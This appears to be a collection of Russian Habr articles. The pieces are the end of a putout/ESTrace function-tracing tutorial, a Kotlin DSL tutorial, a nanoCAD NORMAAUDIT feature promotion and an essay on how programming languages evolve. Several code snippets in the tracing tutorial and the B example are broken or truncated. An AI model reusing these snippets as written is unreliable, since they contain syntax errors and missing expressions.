> }
> }
> ```
>
>
> **Буду рад помощи.**
>
> ---
>
>
>
>
Для краткости и наглядности будем использовать бросающиеся в глаза сокращения:
```
const enterLog = buildLogEvent(name, '💣'); // вход
const exitLog = buildLogEvent(name, '💥'); // выход
const errorLog = buildLogEvent(name, '❌'); // ошибка
```
Еще нам нужно создать узел **try-catch**:
```
const buildTryCatch = template(`try {
BLOCK;
} catch(error) {
CATCH;
} finally {
FINALLY;
}
`);
// помещаем тело функции в try-catch
const bodyPath = path.get('body');
replaceWith(bodyPath, BlockStatement([buildTryCatch({
BLOCK: path.node.body.body,
CATCH: errorLog,
FINALLY: exitLog,
})]));
```
Строить лог будем таким образом, чтобы [аргументы выводились как массив, а не объект](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments):
```
const buildLog = template('console.log(`${«TYPE»} ${«NAME»}`, Array.from(arguments));');
```
**Простейшее решение отслеживающее посещение функций**
```
const {template, types, operator} = require('putout');
const {replaceWith} = operator;
const {BlockStatement} = types;
// создаем узлы
const buildLog = template('console.log(`${"TYPE"} ${"NAME"}`, Array.from(arguments));');
const buildTryCatch = template(`try {
BLOCK;
} catch(error) {
CATCH;
} finally {
FINALLY;
}
`);
// узлы, которые ищем
module.exports.include = () => [
'Function',
];
module.exports.fix = (path) => {
const name = getName(path);
// создаем 3 вида событий
const enterLog = buildLogEvent(name, '💣');
const exitLog = buildLogEvent(name, '💥');
const errorLog = buildLogEvent(name, '❌');
// помещаем тело функции в try-catch
const bodyPath = path.get('body');
replaceWith(bodyPath, BlockStatement([buildTryCatch({
BLOCK: path.node.body.body,
CATCH: errorLog,
FINALLY: exitLog,
})]));
// добавляем в начало функции "console.log" с событием "enter"
bodyPath.node.body.unshift(enterLog);
};
// получаем имя для вывода в логах
function getName(path) {
if (path.isClassMethod())
return path.node.key.name;
if (path.isFunctionDeclaration())
return path.node.id.name;
return '';
}
// строим логер
function buildLogEvent(name, type) {
return buildLog({
NAME: name,
TYPE: type,
});
}
```
выглядит так (картинка кликабельная):
[](https://user-images.githubusercontent.com/1573141/122596829-207fe080-d073-11eb-90b6-9bd21d8fa6fb.png)
▍Catch должен выбрасывать исключения
------------------------------------
> *«Прежде всего разве ты думаешь, что, находясь в таком положении, люди что-нибудь видят, своё ли или чужое, кроме теней, отбрасываемых огнём на расположенную перед ними стену пещеры?
>
> — Как же им видеть что-то иное, раз всю свою жизнь они вынуждены держать голову неподвижно?
>
> — А предметы, которые проносят там, за стеной? Не то же ли самое происходит и с ними?
>
> — То есть?
>
> — Если бы узники были в состоянии друг с другом беседовать, разве, думаешь ты, не считали бы они, что дают названия именно тому, что видят?
>
> — Непременно так.»
>
>
>
> © Платон «Государство», книга 7: Миф О Пещере*
> **❒ Catch** должен выбрасывать исключение, без этого функция будет отрабатывать неправильно.
>
> А еще у стрелочных функций нет имен, возможно ли логировать их положение в файле?
Да это возможно, у каждого узла **path** есть **node**, а у него **loc**, в котором **start**. Из **start** достаем номер строки **line**:
```
function getName(path) {
const {line} = path.node.loc.start;
return ``;
}
```
А еще нам нужна функция, которая будет **логировать** + **выбрасывать исключение**:
```
const buildLogException = template('console.log(`${«TYPE»} ${«NAME»}: ${traceError.message}`); throw traceError');
function buildLogExceptionEvent(name) {
return buildLogException({
NAME: name,
TYPE: '',
});
}
```
Нет никакой необходимости выводить аргументы в каждом событии, поэтому делаем **buildLog** универсальным:
```
const buildLog = template('console.log(`${"TYPE"} ${"NAME"}`)');
```
**Все вместе**
```
const {template, types, operator} = require('putout');
const {replaceWith} = operator;
const {BlockStatement} = types;
// создаем узлы
const buildLog = template('console.log(`${"TYPE"} ${"NAME"}`)');
const buildLogEnter = template('console.log(`'💣' ${"NAME"}`, Array.from(arguments));');
const buildLogException = template('console.log(`${"TYPE"} ${"NAME"}: ${traceError.message}`); throw traceError');
const buildTryCatch = template(`try {
BLOCK;
} catch(traceError) {
CATCH;
} finally {
FINALLY;
}
`);
// узлы которые ищем
module.exports.include = () => [
'Function',
];
// исправляем
module.exports.fix = (path) => {
const name = getFunctionName(path);
// создаем 3 вида событий
const enterLog = buildLogEnter({
NAME: name,
});
const exitLog = buildLogEvent(name, '💥');
const errorLog = buildLogExceptionEvent(name);
// помещаем тело функции в try-catch
const bodyPath = path.get('body');
replaceWith(bodyPath, BlockStatement([buildTryCatch({
BLOCK: path.node.body.body,
CATCH: errorLog,
FINALLY: exitLog,
})]));
// помещаем лог в начало функции
bodyPath.node.body.unshift(enterLog);
};
function getFunctionName(path) {
if (path.isClassMethod())
return path.node.key.name;
if (path.isFunctionDeclaration())
return path.node.id.name;
const {line} = path.node.loc.start;
return ``;
}
function buildLogEvent(name, type) {
return buildLog({
NAME: name,
TYPE: type,
});
}
function buildLogExceptionEvent(name) {
return buildLogException({
NAME: name,
TYPE: '❌'',
});
}
```
выглядит так (картинка кликабельная):
[](https://user-images.githubusercontent.com/1573141/122597847-a4869800-d074-11eb-9e17-71e9979f6843.png)
▍Выдох
------
> *«Когда с кого-нибудь из них снимут оковы, заставят его вдруг встать, повернуть шею, пройтись, взглянуть вверх — в сторону света, ему будет мучительно выполнять всё это, он не в силах будет смотреть при ярком сиянии на те вещи, тень от которых он видел раньше. И как ты думаешь, что он скажет, когда ему начнут говорить, что раньше он видел пустяки, а теперь, приблизившись к бытию и обратившись к более подлинному, он мог бы обрести правильный взгляд? Да ещё если станут указывать на ту или иную проходящую перед ним вещь и заставят отвечать на вопрос, что это такое? Не считаешь ли ты, что это крайне его затруднит и он подумает, будто гораздо больше правды в том, что он видел раньше, чем в том, что ему показывают теперь?
>
> — Конечно, он так подумает.
>
> — А если заставить его смотреть прямо на самый свет, разве не заболят у него глаза, и не отвернётся он поспешно к тому, что он в силах видеть, считая, что это действительно достовернее тех вещей, которые ему показывают?
>
> — Да, это так.»
>
>
>
> © Платон «Государство», книга 7: Миф О Пещере*
Пока я писал кодмоды и статью, у меня возникла идея вывести идею трейсера на более серьезный уровень: так появился проект [ESTrace](https://github.com/coderaiser/estrace). Он отслеживает посещения функций, и при этом, в отличие от прекрасного инструмента похожей направленности [njsTrace](https://github.com/ValYouW/njsTrace) умеет работать с [EcmaScript Модулями](https://nodejs.org/api/esm.html) и на 100% покрыт тестами.
Установка стандартная:
```
npm i estrace
```
Важно понимать один момент: **ESTrace** построен вокруг [хуков загрузки модулей](https://nodejs.org/api/esm.html#esm_loaders), это технология экспериментальная и может изменится в будущем, я уже с ней работал когда реализовывал аналог [mock-require](https://www.npmjs.com/package/mock-require) только [для импортов](https://www.npmjs.com/package/mock-import) и все говорит о том, что скоро эта возможность стабилизируется, как это было с **EcmaScript Модулями**.
> Как устроены лоадеры?
Принцип работы очень прост, есть несколько вариантов событий, в которые можно внедриться и повлиять на их работу, к примеру мне понадобился лоадер [transformSource](https://nodejs.org/api/esm.html#esm_transformsource_source_context_defaulttransformsource), который позволяет на лету менять прочитанный исходный код:
```
export async function transformSource(source, context) {
const {url} = context;
// добавляем события слежки в функции считанного кода
const code = await trace({
source: source.toString(),
url,
});
// возвращаем новый код
return {
source: code,
};
}
```
> А можно использовать ESTrace как плагин для Putout?
Конечно, **ESTrace** экспортирует плагин, который может быть передан в [putout](https://github.com/coderaiser/putout) напрямую:
```
import putout from 'putout';
import estracePlugin from 'estrace/plugin';
const source = `
const fn = (a) => a;
`;
const {code} = putout(source, {
plugins: [
['estrace', estracePlugin],
],
});
console.log(code);
```
Проверим на [конкретном примере](https://habr.com/ru/company/ruvds/blog/562226/), назовем файл **lint.js**:
```
const processFile = (a) => a;
process([]);
function process(runners) {
const files = getFiles(runners);
const linted = lintFiles(files);
return linted;
}
function getFiles(runners) {
const files = [];
for (const run of runners) {
files.push(...run());
}
return files;
}
function lintFiles(files) {
const linted = [];
for (const file of files) {
linted.push(processFile(file));
}
return linted;
}
```
После чего запустим в консоли:
> Это супер круто! У меня никогда не было таких детальных логов.
>
>
**❒ Источники:**
* [ишью](https://github.com/coderaiser/putout/issues/61)
* [кот](https://www.redbubble.com/i/sticker/pixel-kitteh-by-skramzgirl/56511620.EJUG5)
[](https://ruvds.com/news/read/142?utm_source=habr&utm_medium=article&utm_campaign=mn3m0n1c_3n3m1&utm_content=kogda_kod_eto_dannye)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=mn3m0n1c_3n3m1&utm_content=kogda_kod_eto_dannye) | https://habr.com/ru/post/563568/ | null | ru | null |
# Пишем DSL в Koltin
### Небольшое вступление
Всем привет! Частенько зависаю на Medium и нахожу уйму полезных статей от зарубежных разработчиков. В один из таких дней искал для себя что-нибудь по DSL в Kotlin и наткнулся на серию статей о том, что такое DSL в Kotlin и как с этим работать. До прочтения я имел поверхностное понятие о DSL, так как совсем изредка сталкивался ними. Во время чтения статьи мне понравилась простота описания и подачи примеров от автора так, что по окончанию прочтения я решил перевести эту пару статей для вас. Разумеется, с одобрения автора :) Ну что ж, начнём.
### Кратко о DSLs. Что это?
Для начала можно подсмотреть определение из Википедии:
> **Domain-specific language (DSL)** — компьютерный язык, специализированный для какой-либо конкретной области применения. Он отличается от языков общего назначения (GPL), которые широко применяются во многих областях.
В принципе, DSL — язык, который фокусируется на одной конкретной части приложения, с другой стороны, языки общего назначения, такие как Kotlin и Java, могут использоваться в других частях приложения. Есть несколько DSL, с которыми вы уже наверняка знакомы, например SQL. Если взглянуть на SQL, то можно заметить, что он выглядит почти как обычное предложение на английском языке, благодаря чему он становится вполне **читаемым**, **понятным** и **выразительным**:
```
SELECT Person.name, Person.age FROM Person ORDER BY Person.age DESC
```
Каких-то особенных критериев, которые бы отличали DSL от нормального API нет, но часто мы замечаем одно различие: Использование определённой структуры или грамматики. Это делает код более понятным для человека, который лёгок в понимании не только для разработчиков, но и для людей, которые менее подкованы в части языков программирования.
### DSLs с Kotlin
Теперь давайте разберёмся, как мы можем создать DSL с некоторыми языковыми особенностями Kotlin и какие преимущества это нам приносит?
Когда мы создаём DSL на каком-то универсальном языке программирования, таком как Kotlin, то мы фактически имеем в виду **внутренние DSL**. Ведь мы не создаем независимый синтаксис, а просто настраиваем конкретный способ использования данного языка. И именно это даёт нам преимущество использования кода, который мы уже знаем, и позволяет нам добавлять разные операторы, такие как *циклы for,* в наш DSL.
Кроме того, Kotlin предлагает несколько способом создания более чистого синтаксиса и помогает избежать использования слишком большого количества ненужных символов. И в этой первой части мы рассмотрим три особенности:
* Использование лямбд вне скобок метода
* Лямбды с аргументами (приемниками)
* Функции расширения (от переводчика: они же Extension functions, о которых уже все слышали, наверное)
Как этим всем пользоваться — станет более понятно через минуту, когда мы создадим несколько примеров.
Чтобы сделать всё максимально понятным, в этой части я буду использовать простую модель для создания нашего DSL. Мы не должны создавать DSL при создании класса. Это было бы лишним. Хорошим место для использования DSL может быть **класс конфигурации** или **интерфейс библиотеки**, где пользователь не должен знать о моделях.
### А теперь давайте напишем наш первый DSL
В этой части мы создадим простой DSL, который сможет создать объект класса *Person*. Заметьте — это всего лишь просто **пример**. Итак, вот пример того, что мы собираемся получить в конце этого урока:
```
val person = person {
name = "John"
age = 25
address {
street = "Main Street"
number = 42
city = "London"
}
}
```
Можно сразу заметить, что код выше сам по себе описывает себя и лёгок в понимании. Даже тот человек, который не имеет опыта разработчика, сможет прочитать это и даже внести свои правки. Чтобы понять, как мы сможем такое воссоздать, мы совершим несколько шагов. Вот модель, с которой мы начнём:
```
data class Person(var name: String? = null,
var age: Int? = null,
var address: Address? = null)
data class Address(var street: String? = null,
var number: Int? = null,
var city: String? = null)
```
Очевидно, что это не самая чистая модель, которую мы можем написать. Но мы хотим иметь *иммутабельные проперти (val)*. И до этого мы доберемся в следующих частях этой серии.
Первое, что мы сделаем — создадим новый файл. В нём будем держать DSL отдельно от фактических классов в нашей модели. Начнём с создания какой-нибудь функции-конструктора для нашего класса *Person*. Смотря на результат, который мы хотим иметь, мы видим, что все проперти класса *Person* определены в кодовом блоке. Но на самом деле этим фигурные скобки означают лямбду. Здесь мы и используем первую из трех вышеперечисленных особенностей языка Kotlin: **Использование лямбд вне скобок метода**.
Если последним параметром функции является лямбда, то мы можем использовать её вне скобок. А если у вас только один параметр, который является лямбдой, то вы можете и вовсе удалить скобки. Это значит, что *person {...}* тоже самое, что и *person({...})*. Это приводит к меньшему синтаксическому загрязнению в нашем DSL. Теперь напишем первую версию нашей функции.
```
fun person(block: (Person) -> Unit): Person {
val p = Person()
block(p)
return p
}
```
Итак. Здесь у нас функция, которая создает объект Person. Для этого требуется лямбда, у которой есть объект, который мы создаём в строке 2. Когда мы выполняем эту лямбду в строке 3, то мы ожидаем, что объект получит необходимые ему проперти, прежде чем мы вернём объект в строке 4. А теперь давайте посмотрим, как мы можем использовать написанную нами функцию:
```
val person = person {
it.name = "John"
it.age = 25
}
```
Поскольку лямбда получает только один аргумент, то мы можем обращаться к объекту person через *it*. Это выглядит довольно таки неплохо, но это ещё не конец. На самом деле это не совсем то, что мы хотим видеть в нашем DSL. Особенно, когда мы собираемся добавить дополнительные слои объектов. Это приводит нас к следующей упомянутой нами функции Kotlin: **Лямбды с аргументами (приемниками)**.
В определении функции person мы можем добавить **приемник** к лямбде. Таким образом, мы можем получить доступ только к функциям этого приемника в данной лямбде. Поскольку функции входят в область получателя, то мы можем просто выполнить лямбду на приемнике вместо того, чтобы подставлять его его в качестве аргумента для лямбды.
```
fun person(block: Person.() -> Unit): Person {
val p = Person()
p.block()
return p
}
```
А ещё это можно написать попроще. Например, с помощью функции *apply*, предоставленной Kotlin.
```
fun person(block: Person.() -> Unit): Person = Person().apply(block)
```
Теперь мы можем убрать *it* из нашего DSL.
```
val person = person {
name = "John"
age = 25
}
```
Выглядит замечательно, не так ли? :) Мы почти закончили. Но мы упустили один момент — класс *Address*. В нашем желаемом результате он очень похож на функцию *person*, которую мы только что создали. Единственное различие здесь в том, что мы должны назначить его как проперти *address* для объекта Person. Для того, чтобы сделать это, мы воспользуемся последним из трёх упомянутых функций языка Kotlin: **Функции расширения**.
Функции расширения дают вам возможность добавлять функции к классам без доступа к исходному коду самого класса. Это идеально подходит для создания объекта *Address* и непосредственно присваивает его для проперти *address* в *Person*. Вот окончательная версия нашего файла DSL (на данный момент).
```
fun person(block: Person.() -> Unit): Person = Person().apply(block)
fun Person.address(block: Address.() -> Unit) {
address = Address().apply(block)
}
```
Мы добавили функцию *address* к *Person*, которая принимает лямбду с *Address* в качестве приемника, точно так же, как мы делали это с функцией-конструктором *person*. Затем она устанавливает созданный объект *Address* в проперти класса *Person*. Теперь мы создали DSL для создания нашей модели.
```
val person = person {
name = "John"
age = 25
address {
street = "Main Street"
number = 42
city = "London"
}
}
```
Это первая часть из длинной серии о том, как писать DSLs в Kotlin. Во второй части мы поговорим о добавлении коллекций, использовании шаблона Builder и аннотации @DslMarker. Существует пример из реальной жизни с использованием GsonBuilder.
---
Оригинал статьи вы можете найти здесь: [Writing DSLs in Kotlin (part 1)](https://proandroiddev.com/writing-dsls-in-kotlin-part-1-7f5d2193f277)
Автор оригинальной серии статей: [Fré Dumazy](https://proandroiddev.com/@dumazy) | https://habr.com/ru/post/343730/ | null | ru | null |
# Новый функционал nanoCAD 6.0: нормативный аудит
Общеизвестно, что, выпуская новые версии, разработчики всегда говорят о множестве исправлений, улучшений и новом функционале. Тем не менее, вопреки всему, я рискну обратить ваше внимание на некоторые действительно уникальные инструменты nanoCAD 6.0, после которых мир САПР уже никогда не будет прежним. И в этой статье хотелось бы рассказать о функции *НОРМААУДИТ* (нормативный аудит).
Те, кому скучно читать подробный текст, могут просто посмотреть рекламный ролик :-)
Остальных приглашаем под кат — методично и последовательно рассмотрим новую функцию…
#### Введение: немного о сути проблемы
Очевидно, что при разработке чертежей проектировщики постоянно ссылаются на нормативно-технические документы (рис. 1) – из таблиц, текста технических условий, штампов, выносок, обычных текстовых разделов (стандарты, технические условия, правила изготовления, нормативы и т.д.). Часто в существующие чертежи копируются участки из других, более старых документов.
```
Рис. 1. Практически любой серьезный чертеж ссылается на нормативно-техническую документацию, которую необходимо контролировать
```
Конечно, нормативные документы регулярно обновляются, изменяются, замещаются, появляются в новых редакциях, отменяются вообще… Как оперативно обновить документы и ссылаться лишь на новейшие редакции нормативов и стандартов? Как обеспечить качество рабочей документации и оперативно отследить изменения в области технического, технологического, санитарного и прочих видов регулирования? До сей поры был только один способ – ручной: надо стараться быть в курсе последних событий, помнить свои чертежи и оперативно реагировать на изменения.
Но ведь есть электронные библиотеки стандартов и нормативных документов, которые регулярно обновляются и расширяются. Почему бы не призвать их на помощь при разработке чертежей? Явно напрашивается идея интеграции систем проектирования и таких электронных библиотек.
#### Функция НОРМААУДИТ
И в самом деле, задача функции *НОРМААУДИТ* очень простая – найти в документе все ссылки на нормативно-технические документы, каждую из них проверить на актуальность и предоставить пользователю удобный инструмент по обновлению данных чертежа. Именно эту задачу мы и решаем в новой версии nanoCAD 6.0!
Давайте последовательно проследим этот процесс. Для этого вы можете воспользоваться своими чертежами или открыть демонстрационный пример из папки Samples программного продукта nanoCAD (выберите пункт меню Файл → Открыть, в появившемся диалоге в разделе *nanoCAD Plus* (слева вверху) укажите папку *Samples* и откройте файл *nCAD. Нормааудит.dwg*) (рис. 2).
```
Рис. 2. Новую функцию NORMAAUDIT можно опробовать либо на демонстрационном примере из папки Samples программного продукта nanoCAD, либо на любых своих DWG-чертежах
```
##### Вызов функции нормативного аудита
Для запуска команды достаточно набрать в командной строке nanoCAD *НОРМААУДИТ* (*NORMAAUDIT*) либо выбрать пункт меню *Сервис* → *NormaCS* → *Сверка ссылок на НТД c NormaCS*. В результате появится плавающая панель *Сверка ссылок на НТД c NormaCS*, по умолчанию пустая.
Нажимаем кнопку *Найти на чертеже ссылки на нормативные документы*, и программа начинает анализ вашего файла… Как уже упоминалось выше, осуществляется поиск любых текстовых вхождений чертежа – в однострочных/многострочных текстах, таблицах, выносках, технических условиях, штампах и т.п. И это уникально для nanoCAD: в обычных системах проектирования надо будет описывать отдельные функций поиска для каждого типа текстового вхождения. nanoCAD же предоставляет единый интерфейс для взаимодействия не только со стандартными текстами, но и с объектами специализированных решений. Разработчикам приложений под nanoCAD надо только «обернуть» свои объекты специальным кодом, и функция *НОРМААУДИТ* сможет не просто «видеть» текст внутри этих объектов, но и изменять их (это понадобится нам позднее).
Сам поиск осуществляется на основе правил регулярных выражений, которые мы уже настроили для пользователей еще в программном продукте NormaCS. Поэтому любой пользователь получит отличный результат без каких-либо дополнительных настроек. Тем не менее, существует возможность разработать свой метод поиска и попытаться найти более «заковыристые» описания нормативных документов (рис. 3).
```
Рис. 3. Поиск ссылок на нормативные документы осуществляется на основе правил регулярных выражений, которые пользователь может расширять и редактировать
```
##### Результат поиска
В результате поиска панель НОРМААУДИТ составляет список ссылок на нормативно-технические документы, которые используются в чертеже. Каждая ссылка оформляется отдельной строчкой в списке и снабжается иконкой, соответствующей статусу документа (рис. 4). Ошибиться очень сложно: зеленые ссылки – это действующие документы, красные – отмененные. Кроме этих двух статусов панель указывает еще четыре статуса: частично действующие документы, документы с неопределенным статусом, документы, находящиеся в разработке (проекты) и документы, требующие уточнения.
```
Рис. 4. В результате поиска панель НОРМААУДИТ составляет список ссылок на нормативно-технические документы, которые используются в чертеже, указывая при этом статус действия этих документов
```
Панель позволяет отфильтровать полученный список по двум параметрам – по статусу документа (например, отображать только отмененные документы) и типу документа (например, отображать или только ГОСТ, или только ТУ, или только СНиПы).
##### Работа с результатами поиска
Если выбрать какую-либо строчку в списке, произойдут два действия: а) на поле чертежа будет приближен и выделен текст, в котором была найдена ссылка (но это можно и отключить); б) в нижней части панели будет отображаться описание выбранного документа (рис. 5).
```
Рис. 5. Выделяя строчку в результатах поиска, мы сможем приблизить участок чертежа, в котором найдена ссылка, и получить более подробную информацию о документе
```
При этом у нас появляется возможность не просто прочитать описание документа, но и открыть его в форме текста и/или получить сканированную копию в программе NormaCS (коммерческая версия), поставить на этот документ гиперссылку из чертежа, просмотреть историю изменений и узнать, на какой норматив заменен недействующий ныне документ. В дополнительном списке вы увидите историю изменения документа (предыдущие редакции документа), где также можно получить описательную информацию и доступ к тексту документа (в коммерческой версии).
А затем то, ради чего все это затевалось: при нажатии кнопки *Применить изменения* программа исправит текстовое вхождение. А если нажать кнопку *Применить ко всем*, все ссылки на неверный стандарт будут заменены на действующие версии. Два-три движения – и чертеж не только проверен, но и исправлен!
#### Интеграция с NormaCS
Очевидно, что для полноценной работы данной функции nanoCAD необходима программа NormaCS. Давайте разберемся, какие версии этой программы нужны – ведь у большинства пользователей она не установлена.
##### Интернет-версия NormaCS
На самом деле для полноценной работы функции НОРМААУДИТ достаточно небольшого модуля-оболочки и выхода в сеть Интернет. Программа-оболочка поставляется вместе с nanoCAD 6.0 (как в бесплатной, так и в платной Plus-версии) и, если на компьютере пользователя не обнаружена библиотека NormaCS, то пользователю предлагается небольшой модуль «Демо-клиент NormaCS» (рис. 6).
```
Рис. 6. Если у пользователя не установлена программа NormaCS, то вместе с nanoCAD ему предоставляется небольшой модуль, который позволяет брать статусы документов из сети Интернет
```
Данный модуль обеспечивает поиск ссылок на нормативы, а затем запрашивает статусы документов на специализированном сервисном сайте NormaCS. А если пользователю необходим текст документа, то этот модуль подгрузит карточку с самой свежей информацией и реквизитами документа.
##### Демонстрационная версия NormaCS
Если на компьютере нет выхода в Интернет, то пользователь может установить с сайта normacs.ru [свежую демонстрационную версию](http://www.normacs.ru/demo.jsp), которая:
1. содержит более 145102 карточек с реквизитами документов;
2. имеет возможность полнотекстового и реквизитного поиска по всем документам, хранящимся в системе;
3. обладает полнофункциональной интеграцией с продуктами Microsoft Office и AutoCAD;
4. включает тексты и изображения 200 документов из классификатора ISO 01.110 «Документация на продукцию»;
5. содержит примеры строительных документов (типовых строительных серий, технологических карт и ОСТов);
6. примеры ППР по мостам в формате DWG
7. и многое другое.
Кроме того, в состав демоверсии входит дополнительная база данных, разработанная с помощью программы NormaCS PRO. Эта база содержит ГОСТы, сгруппированные по «Классификатору государственных стандартов» (КГС), а также отдельно вынесенные ЕСТД, ЕСКД, СПКП, СИБИД, ГСОЕИ, ЕСЗКЗ, ССБТ и др.
##### Коммерческая версия NormaCS
И конечно же, функция НОРМААУДИТ взаимодействует с полной версией NormaCS: если в вашей организации программа работает в коммерческом режиме (неважно, локальная ли это версия или сетевая), то вы сможете не просто найти документы, узнать их статус и заменить устаревшие ссылки на новые, но и моментально получить доступ к тексту нормативного документа!
#### Заключение
Без сомнения, новая функция НОРМААУДИТ, которая появилась в шестой версии САПР-платформы nanoCAD, – значительный шаг вперед и отличный помощник для проектировщиков. Этот уникальный для САПР функционал позволяет не просто быстро проверить рабочую документацию, но и незамедлительно исправить ссылки на устаревшие документы. А в комплекте с коммерческой версией библиотеки нормативов и стандартов NormaCS проектировщики обретают полезный и удобный инструмент для получения качественной рабочей документации.
В ближайшее время данный функционал появится и во всех специализированных решениях, построенных на базе платформы nanoCAD, а значит, этими инструментами смогут воспользоваться все наши пользователи!
Заходите на сайт [nanocad.ru](http://www.nanocad.ru/products/detail.php?ID=606057), пробуйте современные версии платформы nanoCAD и присылайте нам свои отзывы! Удачных проектов! | https://habr.com/ru/post/225063/ | null | ru | null |
# Когда появится следующий большой язык программирования с точки зрения Дарвина
*Good news everyone!
Futurama*
Следующего большого языка программирования не предвидится. По крайней мере, на то нет причин с точки зрения теории эволюции.
Эволюция работает не только в животном мире, но и в любой подходящей среде. Впервые эта идея получила широкое распространение с выходом книги Ричарда Докинза [«Эгоистичный ген»](http://www.ozon.ru/context/detail/id/138424656/) в 1976 году. В ней был введен знакомый каждому термин [«мем»](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%BC), как пример эволюции в социальной и культурной среде. Языки программирования тоже эволюционируют. А значит их развитие подчиняется принципам эволюции, на основании которых можно сделать предположение о будущем их развитии.
Для работы эволюционных принципов необходимы следующие механизмы: изменчивость, наследование признаков и естественный отбор. Кажется, что выполнение этих требований для языков программирования достаточно очевидно. Простой пример — диаграмма развития языков программирования, которая, может быть, даже красуется на постере у вас за спиной.
[](http://archive.oreilly.com/pub/a/oreilly//news/languageposter_0504.html)
Можно было бы возразить, что создание нового языка программирования — это исключительно заслуга творца. Джеймс Гослинг создал Java, Гвидо Ван Россум — Python, а Керниган и Ричи — C. Однако, на практике они лишь реализуют механизм изменчивости собирая из “генов” языков программирования что-то новое. Никто не в состоянии сам заставить весь мир разрабатывать, например, на ABAP, что, впрочем, не умаляет заслуг авторов.
Для понимания того, когда появится следующий большой язык программирования, стоит ознакомиться с принципом острова. Но прежде давайте рассмотрим применение других принципов эволюции к языкам программирования, хотя бы ради любопытства.
### Вымирание и гены
Используя аналогию с устной речью, вымершими будем считать те языки, на которых никто не разрабатывает в настоящий момент. Даже если компиляторы этих языков существуют, программы на них написанные можно запустить, а некоторые “историки программирования” все еще могут написать на них новый код.
Все знают, что предками языков C (1972) и Pascal (1970) были B (1969) и Algol (1958-68), которые смело можно считать вымершими. Утверждать что язык B забыли, потому что он “старый” — неправильно. Lisp (1958) старше, а его диалекты в ходу до сих пор, как и само название языка. Да и C, несмотря на то что уже не молод, будет с упорством отстаиваться как лучший язык программирования миллионами разработчиков по всему миру.
Посмотрим на пример кода на B из оригинального [руководства](https://web.archive.org/web/20150611114427/https://www.bell-labs.com/usr/dmr/www/kbman.pdf) по языку. Согласитесь, он не так уж и далек от современного C:
```
main() {
extrn putchar, n, v;
auto i, c, col, a;
i = col = 0;
while(i
```
Есть причина, по которой B и подобные ему языки забыты, — это “ген” структур данных. Единственное что отличает C и Pascal от своих предшественников — наличие конструкций “struct” и “record”. Почему это, казалось бы, небольшое изменение обеспечило живучесть C и Pascal на десятилетия, а их предшественники лишь вскользь упоминаются в университетских курсах? Просто изменилась среда.
Проект «Манхэттен» показал, что возможностей электромеханических табуляторов недостаточно для проведения физических расчетов: необходимых для разработки атомного оружия. О том, как проводились такие вычисления рассказывается в одной из глав книги [«Вы, конечно, шутите, мистер Фейнман!»](http://www.ozon.ru/context/detail/id/34385555/). Конечно, именно Пентагон стал заказчиком нового инструмента для проведения вычислений — компьютера, первый из которых увидел свет в 1946 году (ENIAC).
Что нужно для проведения физических расчетов — скаляры, векторы, матрицы и нехитрая программа. Долгое время такого инструментария было достаточно для решения всех насущных задач. Именно это и было реализовано в языке Fortran (1957), и даже в редакции 1977 структуры данных в нем не появились. По тем же принципам строились и другие языки того времени.
Появлению C мы обязаны возникновением нового класса задач — системного программирования. Необходимость создавать операционные системы, в разработке которых требуются “не математические” структуры данных, привела к тому, что язык закрепился и здравствует. Оказалось, что иметь возможность оперировать произвольными структурами — это очень удобно и позволяет решать любые классы задач, в то время, как языки B или Algol показали свою ограниченность и были забыты. Пожалуй только Fortran сохранил свою актуальность по сей день, и то в 1990 году структуры данных в него все таки добавили.
### Конвергентная эволюция
Живые существа в сходных условиях вырабатывают аналогичные свойства адаптации к ним независимо друг от друга. Например, и птицы и летучие мыши имеют крылья. При этом птицы это птицы, а летучие мыши — млекопитающие. Инструмент для полета был реализован ими независимо, но одинаково, поскольку решал одну и ту же задачу.
Европейская и американская школы программирования не склонны заимствовать наработки друг друга, и предпочитают изобретать свои решения самостоятельно. Именно поэтому C и Pascal возникли практически в одно время и реализовали одну и ту же особенность — концепцию структур данных, пусть и немного по-разному.
Аналогичную ситуацию можно проследить между Windows 1.0 (1985) и node.js (2009). В случае Windows 1.0 решалась задача обеспечения одновременной асинхронной работы одного пользователя со многими приложениями, в node.js — многих пользователей с одним приложением использующим асинхронные операции ввода-вывода. Поскольку обе системы основываются на однопоточной модели исполнения, в них были придуманы одинаковые решения — цикл обработки очереди сообщений. Не удивительно что и та, и другая реализации склонны “зависать” и требовать “ребута”. В node.js концепция watchdog вообще считается нормой и самой собой разумеющейся.
При этом решение той же проблемы на основе вытесняющей многозадачности, лишенное детских проблем “зависаний” всей системы, было реализовано как в операционных системах UNIX (1969) так и в программировании — Erlang (1986). Причины, по которым авторы node.js решили изобрести свой велосипед, возможно были теми же, по которым C появился после Pascal — несовместимость американской и европейской школ программирования.
К слову, в том же 2009 году появился язык программирования Go, которые решает проблему массовой многозадачности гораздо более надежным способом — [”go routines”](https://tour.golang.org/concurrency/1). Фактически, в нем реализован тот же принцип легковесной многозадачности, что и в Erlang.
### Слепая эволюция
Эволюция слепа, и процесс эволюционного развития не предполагает построения “идеальной архитектуры” или проведения “полного рефакторинга”. Человеческий глаз имеет слепое пятно, из-за чего мозг вынужден достраивать недостающие части картинки, и это не обусловлено каким-то разумными ограничениями. Все можно было сделать гораздо лучше, если бы эволюция “пересмотрела” архитектуру глаза. Однако, эволюция так не работает — она никогда не перерабатывает имеющиеся решения с нуля, но лишь улучшает то, что есть. Подробнее о процессе эволюции зрения рассказано, например, в книге [«Что, как и почему мы видим на самом деле»](http://www.ozon.ru/context/detail/id/34802903/).
Так же и язык C. С момента своего появления он изменяется и расширяется, но никогда не перерабатывается полностью. Сейчас мы имеем дело с монстром C/C++. Он содержит все врожденные проблемы управления памятью, неприлично обширный синтаксис, огромное количество библиотек и процесс компиляции, требующий отдельной вычислительной фермы. При этом он полон сил, активно развивается и вообще пышет здоровьем.
